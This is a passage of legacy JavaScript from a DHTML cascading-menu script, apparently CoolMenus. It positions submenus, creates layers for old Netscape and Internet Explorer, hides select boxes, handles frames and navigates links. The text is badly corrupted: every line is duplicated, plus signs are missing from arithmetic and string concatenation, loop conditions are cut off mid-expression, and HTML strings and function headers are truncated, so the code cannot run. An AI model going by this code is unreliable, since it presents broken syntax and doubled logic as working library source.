if(l==1) var pobj=this.l[l-1].o[num].oBorder
else var pobj=this.l[l-1].oBorder
else var pobj=this.l[l-1].oBorder
pborder=this.l[l-1].border;
pborder=this.l[l-1].border;
lx=x pobj.width; rx=x-this.m[name].maxwidth- (this.l[l-1].offsetX*2)
lx=x pobj.width; rx=x-this.m[name].maxwidth- (this.l[l-1].offsetX*2)
if(align==0){if(l==1){y =border} if(l==1&&this.useframes) x=0; else x=lx
if(align==0){if(l==1){y =border} if(l==1&&this.useframes) x=0; else x=lx
}else if(align==1){x=rx; if(l==1){if(this.useframes) x=page.x2 - this.m[name].maxwidth; y =border}}
}else if(align==1){x=rx; if(l==1){if(this.useframes) x=page.x2 - this.m[name].maxwidth; y =border}}
if(l==1) if(this.useframes) y=0; else y =this.m[name].height border pborder;
if(l==1) if(this.useframes) y=0; else y =this.m[name].height border pborder;
if(this.useframes&&l==1) y=page.y2 - this.m[name].totheight - this.l[l-1].offsetY*2
if(this.useframes&&l==1) y=page.y2 - this.m[name].totheight - this.l[l-1].offsetY*2
else y-=this.m[name].totheight - this.l[l].offsetY*2; if(l!=1||lev1b==3) y =this.m[name].height
else y-=this.m[name].totheight - this.l[l].offsetY*2; if(l!=1||lev1b==3) y =this.m[name].height
}this.m[name].scrollY=this.lastScrolled; this.m[name].subx=x this.l[l-1].offsetX;
}this.m[name].scrollY=this.lastScrolled; this.m[name].subx=x this.l[l-1].offsetX;
this.m[name].suby=y this.l[l-1].offsetY; if(this.useframes&&l==1&&align!=3) this.m[name].suby =this.lastScrolled
this.m[name].suby=y this.l[l-1].offsetY; if(this.useframes&&l==1&&align!=3) this.m[name].suby =this.lastScrolled
if(this.pagecheck&&(l!=1||!this.useframes)) this.checkPage(name,l,num,topalign,align,ln,border,cn)
if(this.pagecheck&&(l!=1||!this.useframes)) this.checkPage(name,l,num,topalign,align,ln,border,cn)
if(this.m[name].subx this.m[name].maxwidth>page.x2){
if(this.m[name].subx this.m[name].maxwidth>page.x2){
if(align!=1){if(align==3&&topalign!=0) topalign=3; align=1; this.getCoords(name,l,num,topalign,align,ln,border,cn)}
if(align!=1){if(align==3&&topalign!=0) topalign=3; align=1; this.getCoords(name,l,num,topalign,align,ln,border,cn)}
}else if(this.m[name].subx
}else if(this.m[name].subx
if(align!=0){if(align==3) topalign=3; align=0; this.getCoords(name,l,num,topalign,align,ln,border,cn)}
if(align!=0){if(align==3) topalign=3; align=0; this.getCoords(name,l,num,topalign,align,ln,border,cn)}
}else if((this.m[name].suby this.m[name].totheight)>page.y2){
}else if((this.m[name].suby this.m[name].totheight)>page.y2){
if(l==1){topalign=3; this.getCoords(name,l,num,topalign,align,ln,border,cn,3)}
if(l==1){topalign=3; this.getCoords(name,l,num,topalign,align,ln,border,cn,3)}
else if(align!=3){ align=3; this.getCoords(name,l,num,topalign,align,ln,border,cn)}
else if(align!=3){ align=3; this.getCoords(name,l,num,topalign,align,ln,border,cn)}
}else if(this.m[name].suby
}else if(this.m[name].suby
if(l==1){topalign=2; this.getCoords(name,l,num,topalign,align,ln,border,cn,2)}
if(l==1){topalign=2; this.getCoords(name,l,num,topalign,align,ln,border,cn,2)}
else if(align!=2){align=2; this.getCoords(name,l,num,topalign,align,ln,border,cn)}
else if(align!=2){align=2; this.getCoords(name,l,num,topalign,align,ln,border,cn)}
l =1; if(l>=this.l.length) return; ln=this.m[name].subs.length
l =1; if(l>=this.l.length) return; ln=this.m[name].subs.length
if(ln==0){this.hideSubs(l,1,0,1); return}
if(ln==0){this.hideSubs(l,1,0,1); return}
else this.hideSubs(l 1,1); var border=this.l[l].border; this.aobj[l]=-1
else this.hideSubs(l 1,1); var border=this.l[l].border; this.aobj[l]=-1
if(this.useframes&&(bw.ns4||bw.ns6)) cm_checkScrolled(this)
if(this.useframes&&(bw.ns4||bw.ns6)) cm_checkScrolled(this)
if((this.m[name].subx==-1 || this.m[name].suby==-1) || this.m[name].scrollY!=this.lastScrolled || this.isresized){
if((this.m[name].subx==-1 || this.m[name].suby==-1) || this.m[name].scrollY!=this.lastScrolled || this.isresized){
var topalign=this.l[0].align; var align=this.l[l-1].align;
var topalign=this.l[0].align; var align=this.l[l-1].align;
this.getCoords(name,l,num,topalign,align,ln,border,0)
this.getCoords(name,l,num,topalign,align,ln,border,0)
}var x=this.m[name].subx; var y=this.m[name].suby;
}var x=this.m[name].subx; var y=this.m[name].suby;
var bobj=this.l[l].oBorder; bobj.hideIt();
var bobj=this.l[l].oBorder; bobj.hideIt();
if(this.l[l-1].clip&&!(this.l[l-1].filter&&bw.filter)){
if(this.l[l-1].clip&&!(this.l[l-1].filter&&bw.filter)){
clearTimeout(bobj.tim); bobj.clipy=0; bobj.clipTo(0,this.m[name].maxwidth,0,0);
clearTimeout(bobj.tim); bobj.clipy=0; bobj.clipTo(0,this.m[name].maxwidth,0,0);
}else bobj.clipTo(0,this.m[name].maxwidth,this.m[name].totheight,0,1)
}else bobj.clipTo(0,this.m[name].maxwidth,this.m[name].totheight,0,1)
bobj.moveIt(x,y); var yy=border
bobj.moveIt(x,y); var yy=border
for(i=0;i
for(i=0;i
var n=this.m[name].subs[i]; obj.aname=n; if(!bw.ns4||!this.NS4hover) obj.writeIt(this.m[n].text)
var n=this.m[name].subs[i]; obj.aname=n; if(!bw.ns4||!this.NS4hover) obj.writeIt(this.m[n].text)
obj.addEvents(n,this.name,this.m[n].lnk,this.useclick); var w=this.m[n].width; var h=this.m[n].height
obj.addEvents(n,this.name,this.m[n].lnk,this.useclick); var w=this.m[n].width; var h=this.m[n].height
if(obj.y!=yy) obj.moveY(yy); yy =h border; if(!obj.img) obj.setactive(0,n,1);
if(obj.y!=yy) obj.moveY(yy); yy =h border; if(!obj.img) obj.setactive(0,n,1);
if(obj.width!=w||obj.height!=h) obj.clipTo(0,w,h,0,1); obj.css.visibility="inherit"
if(obj.width!=w||obj.height!=h) obj.clipTo(0,w,h,0,1); obj.css.visibility="inherit"
}else obj.hideIt()
}else obj.hideIt()
}if(this.l[l-1].filter&&bw.filter) bobj.filterIt(this.l[l-1].filter)
}if(this.l[l-1].filter&&bw.filter) bobj.filterIt(this.l[l-1].filter)
else if(this.l[l-1].clip){bobj.showIt(); bobj.clipOut(this.l[l-1].clippx,this.m[name].maxwidth,this.m[name].totheight,this.l[l-1].cliptim,name);}
else if(this.l[l-1].clip){bobj.showIt(); bobj.clipOut(this.l[l-1].clippx,this.m[name].maxwidth,this.m[name].totheight,this.l[l-1].cliptim,name);}
else bobj.showIt();
else bobj.showIt();
if(!bw.ns4&&this.checkselect){ //CHECKING FOR SELECT BOXES
if(!bw.ns4&&this.checkselect){ //CHECKING FOR SELECT BOXES
for(i=0;i
for(i=0;i
if(this.sel[i].offsetParent){selp=this.sel[i]; while(selp.offsetParent){selp=selp.offsetParent; selx =selp.offsetLeft; sely =selp.offsetTop;}}
if(this.sel[i].offsetParent){selp=this.sel[i]; while(selp.offsetParent){selp=selp.offsetParent; selx =selp.offsetLeft; sely =selp.offsetTop;}}
selx =this.sel[i].offsetLeft; sely =this.sel[i].offsetTop
selx =this.sel[i].offsetLeft; sely =this.sel[i].offsetTop
selw=this.sel[i].offsetWidth; selh=this.sel[i].offsetHeight
selw=this.sel[i].offsetWidth; selh=this.sel[i].offsetHeight
if(((selx selw)>this.m[name].subx && selx
if(((selx selw)>this.m[name].subx && selx
&&((sely selh)>this.m[name].suby && sely
&&((sely selh)>this.m[name].suby && sely
if(this.sel[i].style.visibility!="hidden"){this.sel[i].level=l; this.sel[i].style.visibility="hidden"; this.hcode =this.name ".sel[" i "].style.visibility='visible';"}
if(this.sel[i].style.visibility!="hidden"){this.sel[i].level=l; this.sel[i].style.visibility="hidden"; this.hcode =this.name ".sel[" i "].style.visibility='visible';"}
}else if(l
}else if(l
}else if(bw.ns4&&this.hideForm){eval(this.hideForm ".visibility='hide'"); this.hcode=this.hideForm ".visibility='show'"}
}else if(bw.ns4&&this.hideForm){eval(this.hideForm ".visibility='hide'"); this.hcode=this.hideForm ".visibility='show'"}
m=this.menuplacement; rows=this.rows; this.pxbetween=this.checkp(this.pxbetween,0,1,1)
m=this.menuplacement; rows=this.rows; this.pxbetween=this.checkp(this.pxbetween,0,1,1)
border=this.l[0].border;y=this.checkp(this.fromtop,0,0,1) border;x=this.checkp(this.fromleft,0,0,1) border
border=this.l[0].border;y=this.checkp(this.fromtop,0,0,1) border;x=this.checkp(this.fromleft,0,0,1) border
if(m=="bottomcenter") x=toppage.x2/2-(this.totwidth border*this.l[0].num this.pxbetween*(this.l[0].num-1))/2
if(m=="bottomcenter") x=toppage.x2/2-(this.totwidth border*this.l[0].num this.pxbetween*(this.l[0].num-1))/2
y=toppage.y2-this.maxheight-border
y=toppage.y2-this.maxheight-border
}else if(m=="right") x=toppage.x2-this.maxwidth-border*2
}else if(m=="right") x=toppage.x2-this.maxwidth-border*2
else if(m=="bottom") y=toppage.y2-this.maxheight-border*2
else if(m=="bottom") y=toppage.y2-this.maxheight-border*2
else if(m=="center"){if(rows==0) x=toppage.x2/2 - (this.maxwidth border*2)/2; else x=toppage.x2/2 - (this.totwidth border*this.l[0].num this.pxbetween*(this.l[0].num-1))/2}
else if(m=="center"){if(rows==0) x=toppage.x2/2 - (this.maxwidth border*2)/2; else x=toppage.x2/2 - (this.totwidth border*this.l[0].num this.pxbetween*(this.l[0].num-1))/2}
else if(m.toString().indexOf(",")>-1) mpa=1
else if(m.toString().indexOf(",")>-1) mpa=1
if(this.usebar){ var bx,by,bww,bh,oBb
if(this.usebar){ var bx,by,bww,bh,oBb
oNS=bw.ns6?this.oNS[this.l[0].maxnum]:0
oNS=bw.ns6?this.oNS[this.l[0].maxnum]:0
this.oBar=new cm_makeObj('div' this.name 'Bar',0,0,window,0,oNS)
this.oBar=new cm_makeObj('div' this.name 'Bar',0,0,window,0,oNS)
if(this.barx=="menu") bx=mpa&&rows?this.checkp(m[0],1,0,1)-border:x-border; else{ bx=this.checkp(this.barx,1,0,1) }
if(this.barx=="menu") bx=mpa&&rows?this.checkp(m[0],1,0,1)-border:x-border; else{ bx=this.checkp(this.barx,1,0,1) }
if(this.bary=="menu") by=mpa&&!rows?this.checkp(m[0],0,0,1)-border:y-border; else by=this.checkp(this.bary,0,0,1); this.oBar.moveIt(bx,by)
if(this.bary=="menu") by=mpa&&!rows?this.checkp(m[0],0,0,1)-border:y-border; else by=this.checkp(this.bary,0,0,1); this.oBar.moveIt(bx,by)
if(this.barwidth=="menu"){bww=rows?mpa?(this.checkp(m[m.length-1],1,0,1)-bx) this.m[this.l[0].names[this.l[0].num-1]].width border:(this.totwidth this.pxbetween*(this.l[0].num-1)):this.maxwidth;
if(this.barwidth=="menu"){bww=rows?mpa?(this.checkp(m[m.length-1],1,0,1)-bx) this.m[this.l[0].names[this.l[0].num-1]].width border:(this.totwidth this.pxbetween*(this.l[0].num-1)):this.maxwidth;
bww =!rows?border*2:0;}else bww=this.checkp(this.barwidth,1,0,1);
bww =!rows?border*2:0;}else bww=this.checkp(this.barwidth,1,0,1);
if(bw.ie&&rows&&this.barwidth=="100%"&&this.useframes) bww =parseInt(self.document.body.leftMargin)*2
if(bw.ie&&rows&&this.barwidth=="100%"&&this.useframes) bww =parseInt(self.document.body.leftMargin)*2
if(this.barheight=="menu"){bh=!rows?mpa?(this.checkp(m[m.length-1],0,0,1)-by) this.m[this.l[0].names[this.l[0].num-1]].height border:(this.totheight this.pxbetween*(this.l[0].num-1)):this.maxheight;
if(this.barheight=="menu"){bh=!rows?mpa?(this.checkp(m[m.length-1],0,0,1)-by) this.m[this.l[0].names[this.l[0].num-1]].height border:(this.totheight this.pxbetween*(this.l[0].num-1)):this.maxheight;
bh =rows?this.l[0].border*2:0;} else bh=this.checkp(this.barheight,0,0,1);
bh =rows?this.l[0].border*2:0;} else bh=this.checkp(this.barheight,0,0,1);
this.oBar.clipTo(0,bww,bh,0,1);
this.oBar.clipTo(0,bww,bh,0,1);
if(this.barinheritborder&&border){oBb=new cm_makeObj('div' this.name 'Barb',0,0,window,'div' this.name 'Bar');
if(this.barinheritborder&&border){oBb=new cm_makeObj('div' this.name 'Barb',0,0,window,'div' this.name 'Bar');
oBb.moveIt(border,border); oBb.clipTo(0,bww-border*2,bh-border*2,0,1); oBb=null;}
oBb.moveIt(border,border); oBb.clipTo(0,bww-border*2,bh-border*2,0,1); oBb=null;}
for(j=0;j
for(j=0;j
this.l[0].o[j]=new cm_makeObj('div' this.name '0_' j,this,0,window,'div' this.name '0_' j 'b'); if(bw.ns6) oNS=this.oNS[j]; else oNS=0
this.l[0].o[j]=new cm_makeObj('div' this.name '0_' j,this,0,window,'div' this.name '0_' j 'b'); if(bw.ns6) oNS=this.oNS[j]; else oNS=0
this.l[0].o[j].oBorder=new cm_makeObj('div' this.name '0_' j 'b',0,0,window,0,oNS)
this.l[0].o[j].oBorder=new cm_makeObj('div' this.name '0_' j 'b',0,0,window,0,oNS)
obj=this.l[0].o[j]; w=this.m[this.l[0].names[j]].width; h=this.m[this.l[0].names[j]].height
obj=this.l[0].o[j]; w=this.m[this.l[0].names[j]].width; h=this.m[this.l[0].names[j]].height
obj.addEvents(this.l[0].names[j],this.name,this.m[this.l[0].names[j]].lnk,this.useclick); obj.clipTo(0,w,h,0,1)
obj.addEvents(this.l[0].names[j],this.name,this.m[this.l[0].names[j]].lnk,this.useclick); obj.clipTo(0,w,h,0,1)
if(mpa){if(rows==1) x=this.checkp(m[j],0,1,1); else y=this.checkp(m[j],0,0,1)}
if(mpa){if(rows==1) x=this.checkp(m[j],0,1,1); else y=this.checkp(m[j],0,0,1)}
obj.moveIt(border,border);
obj.moveIt(border,border);
obj.setactive(0,this.l[0].names[j])
obj.setactive(0,this.l[0].names[j])
obj.oBorder.moveIt(x-border,y-border); obj.oBorder.clipTo(0,w border*2,h border*2,0,1); obj.oBorder.showIt()
obj.oBorder.moveIt(x-border,y-border); obj.oBorder.clipTo(0,w border*2,h border*2,0,1); obj.oBorder.showIt()
if(rows==0) y =h border this.pxbetween
if(rows==0) y =h border this.pxbetween
else x =w border this.pxbetween; obj.showIt()
else x =w border this.pxbetween; obj.showIt()
if(this.useclick) coolFMouseup =this.name ".mmout('',1);"; if(!this.useframes&&!bw.ns4) this.refresh()
if(this.useclick) coolFMouseup =this.name ".mmout('',1);"; if(!this.useframes&&!bw.ns4) this.refresh()
else if(!this.useframes&&bw.ns4){l=""; if(onload){l=String(onload.toString()); l=l.replace("function onload(event)",""); l=l.slice(25,l.length-2)} l =this.name ".refresh();"; onload=new Function(l)}
else if(!this.useframes&&bw.ns4){l=""; if(onload){l=String(onload.toString()); l=l.replace("function onload(event)",""); l=l.slice(25,l.length-2)} l =this.name ".refresh();"; onload=new Function(l)}
if(this.resizecheck) setTimeout('window.onresize=new Function("' this.name '.resized()")',500)
if(this.resizecheck) setTimeout('window.onresize=new Function("' this.name '.resized()")',500)
if(this.checkscroll){if(bw.ns4 || bw.ns6){if(this.checkscroll!=2&&this.useframes!=1){setTimeout("cm_checkScrolled(" this.name ")",200)}}}
if(this.checkscroll){if(bw.ns4 || bw.ns6){if(this.checkscroll!=2&&this.useframes!=1){setTimeout("cm_checkScrolled(" this.name ")",200)}}}
if(this.useframes&&!rr) this.checkFrame(0); else this.win=window
if(this.useframes&&!rr) this.checkFrame(0); else this.win=window
if(this.useframes) page=new makePageCoords(this.win,this.useframes); else page=toppage
if(this.useframes) page=new makePageCoords(this.win,this.useframes); else page=toppage
for(i=1;i
for(i=1;i
border=this.l[i].border; defheight=this.checkp(this.l[i].height)
border=this.l[i].border; defheight=this.checkp(this.l[i].height)
if(bw.ns4){oNS=new Layer(this.l[i].width,this.win); oNS.zIndex=(500 i); if(this.l[i].border) oNS.bgColor=this.l[i].bordercolor;}
if(bw.ns4){oNS=new Layer(this.l[i].width,this.win); oNS.zIndex=(500 i); if(this.l[i].border) oNS.bgColor=this.l[i].bordercolor;}
else if(bw.ns6){oNS=document.createElement("DIV"); oNS.setAttribute("style",this.ns6styleb[i]); this.win.document.body.appendChild(oNS)}
else if(bw.ns6){oNS=document.createElement("DIV"); oNS.setAttribute("style",this.ns6styleb[i]); this.win.document.body.appendChild(oNS)}
this.l[i].oBorder=new cm_makeObj('div' this.name i "b",0,0,this.win,0,oNS)
this.l[i].oBorder=new cm_makeObj('div' this.name i "b",0,0,this.win,0,oNS)
for(j=0;j
for(j=0;j
if(bw.ns4){oNS2=new Layer(this.l[i].width,oNS);}
if(bw.ns4){oNS2=new Layer(this.l[i].width,oNS);}
else if(bw.ns6){oNS2=document.createElement("DIV");
else if(bw.ns6){oNS2=document.createElement("DIV");
oNS2.setAttribute("style",this.ns6style[i]); oNS.appendChild(oNS2)}
oNS2.setAttribute("style",this.ns6style[i]); oNS.appendChild(oNS2)}
this.l[i].o[j]=new cm_makeObj('div' this.name i '_' j,this,i,this.win,0,oNS2)
this.l[i].o[j]=new cm_makeObj('div' this.name i '_' j,this,i,this.win,0,oNS2)
obj=this.l[i].o[j]; if(!obj.addEvents) return; obj.moveIt(border,(border defheight)*j border)
obj=this.l[i].o[j]; if(!obj.addEvents) return; obj.moveIt(border,(border defheight)*j border)
}this.loaded=1;
}this.loaded=1;
if(this.checkscroll&&bw.ie){this.win.document.body.onscroll=new Function("cm_checkScrolled(" this.name ")"); cm_checkScrolled(this)}
if(this.checkscroll&&bw.ie){this.win.document.body.onscroll=new Function("cm_checkScrolled(" this.name ")"); cm_checkScrolled(this)}
if(this.useclick){this.win.document.onmouseup=new Function(coolFMouseup); if(this.useframes) document.onmouseup=new Function(coolFMouseup); }
if(this.useclick){this.win.document.onmouseup=new Function(coolFMouseup); if(this.useframes) document.onmouseup=new Function(coolFMouseup); }
if(!bw.ns4&&this.checkselect) this.sel=bw.ie4?this.win.document.all.tags("SELECT"):this.win.document.getElementsByTagName("SELECT")
if(!bw.ns4&&this.checkselect) this.sel=bw.ie4?this.win.document.all.tags("SELECT"):this.win.document.getElementsByTagName("SELECT")
function cm_NS6_createElement(st,inn){el=document.createElement("DIV"); if(st) el.setAttribute("style",st); if(inn) el.innerHTML=inn; document.body.appendChild(el); return el}
function cm_NS6_createElement(st,inn){el=document.createElement("DIV"); if(st) el.setAttribute("style",st); if(inn) el.innerHTML=inn; document.body.appendChild(el); return el}
this.level=null; var str=""; var str2=""; var frstr=""; var tempstr; num=bw.ie?this.l.length:1;
this.level=null; var str=""; var str2=""; var frstr=""; var tempstr; num=bw.ie?this.l.length:1;
if(i!=0) frstr ='
if(i!=0) frstr ='
tempstr='
tempstr='
if(i==0){n=this.l[0].names[j]; txt=this.m[n].text
if(i==0){n=this.l[0].names[j]; txt=this.m[n].text
if(!bw.ns6){
if(!bw.ns6){
str ='
str ='
str =tempstr ' class="cl' this.name i '">' txt '
str =tempstr ' class="cl' this.name i '">' txt '
}else this.oNS[j]=cm_NS6_createElement(this.ns6styleb[i],tempstr ' class="cl' this.name i '">' txt '
}else this.oNS[j]=cm_NS6_createElement(this.ns6styleb[i],tempstr ' class="cl' this.name i '">' txt '
}if(this.usebar){
}if(this.usebar){
if(this.barinheritborder) str2='
';if(this.barinheritborder) str2='
';if(bw.ns6) this.oNS[this.l[0].maxnum]=cm_NS6_createElement(this.ns6styleb[this.ns6styleb.length-1],str2)
if(bw.ns6) this.oNS[this.l[0].maxnum]=cm_NS6_createElement(this.ns6styleb[this.ns6styleb.length-1],str2)
else{str ='
else{str ='
}if(!this.useframes&&bw.ie) str =frstr; else this.frstr=frstr; if(!bw.ns6) document.write(str)
}if(!this.useframes&&bw.ie) str =frstr; else this.frstr=frstr; if(!bw.ns6) document.write(str)
this.makeTop();
this.makeTop();
if(this.useframes) window.onerror=cm_check_error;
if(this.useframes) window.onerror=cm_check_error;
function cm_check_error(e){e=e.toLowerCase(); if(e.indexOf("access")>-1||e.indexOf("permission")>-1){coolFrameError=1; return true;}else return false}
function cm_check_error(e){e=e.toLowerCase(); if(e.indexOf("access")>-1||e.indexOf("permission")>-1){coolFrameError=1; return true;}else return false}
this.ns6style=new Array(); this.ns6styleb=new Array()
this.ns6style=new Array(); this.ns6styleb=new Array()
for(i=0;i
for(i=0;i
if(i==0){if(bw.ns4){w="width:" this.l[0].width ";"; this.l[i].style=""} else w=""; str ='.cl' this.name i '{position:absolute; ' w ' background-color:transparent; color:' this.l[i].tc ';' this.l[i].style '; cursor:pointer; cursor:hand; visibility:inherit; z-index:' zindex '}\n'}
if(i==0){if(bw.ns4){w="width:" this.l[0].width ";"; this.l[i].style=""} else w=""; str ='.cl' this.name i '{position:absolute; ' w ' background-color:transparent; color:' this.l[i].tc ';' this.l[i].style '; cursor:pointer; cursor:hand; visibility:inherit; z-index:' zindex '}\n'}
else{st='position:absolute; ' this.l[i].style '; cursor:pointer; cursor:hand; visibility:inherit; z-index:' zindex; this.ns6style[i]=st}
else{st='position:absolute; ' this.l[i].style '; cursor:pointer; cursor:hand; visibility:inherit; z-index:' zindex; this.ns6style[i]=st}
bc=this.l[i].border?bw.ns4?'layer-background-color:' this.l[i].bordercolor:'; background-color:' this.l[i].bordercolor:"";
bc=this.l[i].border?bw.ns4?'layer-background-color:' this.l[i].bordercolor:'; background-color:' this.l[i].bordercolor:"";
if(!bw.ns4) bc ="; overflow:hidden"
if(!bw.ns4) bc ="; overflow:hidden"
if(i==0&&!bw.ns6) str ='.cl' this.name 'b' i '{' tempstr '}\n';
if(i==0&&!bw.ns6) str ='.cl' this.name 'b' i '{' tempstr '}\n';
else this.ns6styleb[i]=tempstr; zindex =100
else this.ns6styleb[i]=tempstr; zindex =100
if(this.usebar){
if(this.usebar){
bg=this.barinheritborder?this.l[0].bordercolor:this.barcolor
bg=this.barinheritborder?this.l[0].bordercolor:this.barcolor
if(!bw.ns6) str ='#div' this.name 'Bar{' st '}\n'; else this.ns6styleb[this.ns6styleb.length]=st
if(!bw.ns6) str ='#div' this.name 'Bar{' st '}\n'; else this.ns6styleb[this.ns6styleb.length]=st
if(this.barinheritborder){str ='#div' this.name 'Barb{z-index:85; position:absolute; background-color:' this.barcolor '; layer-background-color:' this.barcolor '}\n'}
if(this.barinheritborder){str ='#div' this.name 'Barb{z-index:85; position:absolute; background-color:' this.barcolor '; layer-background-color:' this.barcolor '}\n'}
if(bw.ns4) str ="A.clNS4{text-decoration:none; padding:" this.NS4padding "}\n"; document.write(str "\n\n")
if(bw.ns4) str ="A.clNS4{text-decoration:none; padding:" this.NS4padding "}\n"; document.write(str "\n\n")
page2=new makePageCoords(window,this.useframes);
page2=new makePageCoords(window,this.useframes);
if(!bw.ns4){
if(!bw.ns4){
toppage=new makePageCoords(window,this.useframes); this.makeTop(1)
toppage=new makePageCoords(window,this.useframes); this.makeTop(1)
if(!this.useframes) page=toppage; this.isresized=1; eval(this.resizecode)
if(!this.useframes) page=toppage; this.isresized=1; eval(this.resizecode)
}else{this.win.location.reload(); location.reload()}
}else{this.win.location.reload(); location.reload()}
}if(!bw.ns4&&this.useframes){page=new makePageCoords(this.win,this.useframes)}
}if(!bw.ns4&&this.useframes){page=new makePageCoords(this.win,this.useframes)}
obj=this.m[name]; url=obj.lnk; target=obj.target; fc=obj.mclick
obj=this.m[name]; url=obj.lnk; target=obj.target; fc=obj.mclick
if(url){
if(url){
if(this.useframes&&!coolFrameError) loc=this.win.location.href; else loc=location.href
if(this.useframes&&!coolFrameError) loc=this.win.location.href; else loc=location.href
if(fc) eval(fc); url=this.checkFolder(loc.toString(),url); this.isover=0;
if(fc) eval(fc); url=this.checkFolder(loc.toString(),url); this.isover=0;
this.hideSubs(1,0,1); this.isclicked=0; this.aobj[0]=-1
this.hideSubs(1,0,1); this.isclicked=0; this.aobj[0]=-1
this.win.location.href=url
this.win.location.href=url
}else if(target=="_blank") window.open(url)
}else if(target=="_blank") window.open(url)
else if(target=="_top" || target=="window") top.location.href=url
else if(target=="_top" || target=="window") top.location.href=url
else if(top[target]) top[target].location.href=url
else if(top[target]) top[target].location.href=url
else{fr=findFrame(target); if(fr) fr.location.href=url}
else{fr=findFrame(target); if(fr) fr.location.href=url}
function cm_checkFolder(tmp,url){
function cm_checkFolder(tmp,url){
if(url.indexOf("mailto:")>-1 || url.indexOf("/")==0 || url.indexOf("hXXp://")==0) return url
if(url.indexOf("mailto:")>-1 || url.indexOf("/")==0 || url.indexOf("hXXp://")==0) return url
else if(this.useframes && bw.ie || bw.ns6) return url
else if(this.useframes && bw.ie || bw.ns6) return url
if(tmp.indexOf('file:')>-1 || tmp.charAt(1)==':') addr=this.offlineUrl;
if(tmp.indexOf('file:')>-1 || tmp.charAt(1)==':') addr=this.offlineUrl;
else if(tmp.indexOf('http:')>-1) addr=this.onlineUrl;
else if(tmp.indexOf('http:')>-1) addr=this.onlineUrl;
for(var i=0;i
for(var i=0;i
for(var i=0;ioff_cnt) lvl ='../'; }}
for(var i=0;ioff_cnt) lvl ='../'; }}
return lvl url
return lvl url
if(document.layers){
if(document.layers){
if(ns){coolFName.refresh(); coolFName.nsload=1; ok=1; coolFrameError=0
if(ns){coolFName.refresh(); coolFName.nsload=1; ok=1; coolFrameError=0
}else if(ev.target.name==coolFName.frame&&!coolFName.nsload){coolFName.refresh(); ok=1; coolFrameError=0; routeEvent(ev)}
}else if(ev.target.name==coolFName.frame&&!coolFName.nsload){coolFName.refresh(); ok=1; coolFrameError=0; routeEvent(ev)}
}else if(bw.ie){
}else if(bw.ie){
if (coolFName.win.document.readyState == "complete"){
if (coolFName.win.document.readyState == "complete"){
coolFName.win.document.body.insertAdjacentHTML("beforeEnd",coolFName.frstr)
coolFName.win.document.body.insertAdjacentHTML("beforeEnd",coolFName.frstr)
coolFName.win.document.body.onunload=cm_unloaded; coolFName.refresh(); ok=1; coolFrameError=0
coolFName.win.document.body.onunload=cm_unloaded; coolFName.refresh(); ok=1; coolFrameError=0
}else if(bw.ns6){
}else if(bw.ns6){
if(coolFName.win.document){
if(coolFName.win.document){
if(coolFName.win.document.body){coolFName.win.addEventListener("unload", cm_unloaded, true); coolFName.refresh(); ok=1; coolFrameError=0}
if(coolFName.win.document.body){coolFName.win.addEventListener("unload", cm_unloaded, true); coolFName.refresh(); ok=1; coolFrameError=0}
function cm_unloaded(ev){coolFName=eval(coolFName); if(!coolFName) return; if(document.layers && ev.target.name!=coolFName.frame) return; else coolFName.nsload=0; coolFName.loaded=0; if(!document.layers) setTimeout("cm_checkLoaded()",200)}
function cm_unloaded(ev){coolFName=eval(coolFName); if(!coolFName) return; if(document.layers && ev.target.name!=coolFName.frame) return; else coolFName.nsload=0; coolFName.loaded=0; if(!document.layers) setTimeout("cm_checkLoaded()",200)}
coolFName=name; this.name=name; this.lastScrolled=0;
coolFName=name; this.name=name; this.lastScrolled=0;
this.win=window; toppage=new makePageCoords(window,parent.frames.length);
this.win=window; toppage=new makePageCoords(window,parent.frames.length);
this.aobj=new Array(); this.m=new Array(); this.l=new Array()
this.aobj=new Array(); this.m=new Array(); this.l=new Array()
this.level=new Array(); this.resized=cm_resized;
this.level=new Array(); this.resized=cm_resized;
this.makeMenu=cm_makeMenu; this.showSubs=cm_showSubs; this.makeTop=cm_makeTop;
this.makeMenu=cm_makeMenu; this.showSubs=cm_showSubs; this.makeTop=cm_makeTop;
this.getCoords=cm_getCoords; this.checkPage=cm_checkPage;
this.getCoords=cm_getCoords; this.checkPage=cm_checkPage;
this.mmout=cm_mout; this.mover=cm_mover; this.checkp=cm_checkp;
this.mmout=cm_mout; this.mover=cm_mover; this.checkp=cm_checkp;
this.hideSubs=cm_hideSubs; this.construct=cm_construct;
this.hideSubs=cm_hideSubs; this.construct=cm_construct;
this.makeStyle=cm_makeStyle; this.refresh=cm_refresh;
this.makeStyle=cm_makeStyle; this.refresh=cm_refresh;
this.go=cm_go; this.frstr=""; this.mobj=new Array()
this.go=cm_go; this.frstr=""; this.mobj=new Array()
this.totwidth=0; this.totheight=0; this.maxwidth=0; this.maxheight=0
this.totwidth=0; this.totheight=0; this.maxwidth=0; this.maxheight=0
this.tim=10; this.loaded=0; this.isover=false; this.checkFrame=cm_checkFrame;
this.tim=10; this.loaded=0; this.isover=false; this.checkFrame=cm_checkFrame;
this.checkFolder=cm_checkFolder; this.hcode=""; this.oNS=new Array(); this.oNS2=new Array()
this.checkFolder=cm_checkFolder; this.hcode=""; this.oNS=new Array(); this.oNS2=new Array()
bw.filter=(bw.ie6||bw.ver.indexOf("MSIE 5.5")>-1) && !bw.mac
bw.filter=(bw.ie6||bw.ver.indexOf("MSIE 5.5")>-1) && !bw.mac
for(i=0;i
for(i=0;i
if(obj.frames[i].name==frameName){frameObj=obj.frames[i]; break;}; ln=obj.frames[i].frames.length
if(obj.frames[i].name==frameName){frameObj=obj.frames[i]; break;}; ln=obj.frames[i].frames.length
if(obj.frames[i].frames[j].name==frameName){frameObj=obj.frames[i].frames[j]; break}; ln2=obj.frames[i].frames[j].frames.length
if(obj.frames[i].frames[j].name==frameName){frameObj=obj.frames[i].frames[j]; break}; ln2=obj.frames[i].frames[j].frames.length
if(obj.frames[i].frames[j].frames[a].name==frameName){frameObj=obj.frames[i].frames[j].frames[a]; break}
if(obj.frames[i].frames[j].frames[a].name==frameName){frameObj=obj.frames[i].frames[j].frames[a]; break}
var fr; if(num==10){debug('Frame: ' this.frame ' doesn\'t exist - Value: ' fr " - Could not build menus."); return}
var fr; if(num==10){debug('Frame: ' this.frame ' doesn\'t exist - Value: ' fr " - Could not build menus."); return}
if(!top.frames[this.frame]) fr=findFrame(this.frame); else fr=top.frames[this.frame]
if(!top.frames[this.frame]) fr=findFrame(this.frame); else fr=top.frames[this.frame]
if(!fr){num ; setTimeout(this.name ".checkFrame(" num ")",500)
if(!fr){num ; setTimeout(this.name ".checkFrame(" num ")",500)
}else{ this.win=fr
}else{ this.win=fr
